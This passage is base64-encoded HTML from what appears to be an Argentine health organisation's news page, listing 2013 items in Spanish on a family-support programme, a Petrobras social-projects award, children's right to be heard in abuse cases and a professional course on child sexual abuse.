IxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSI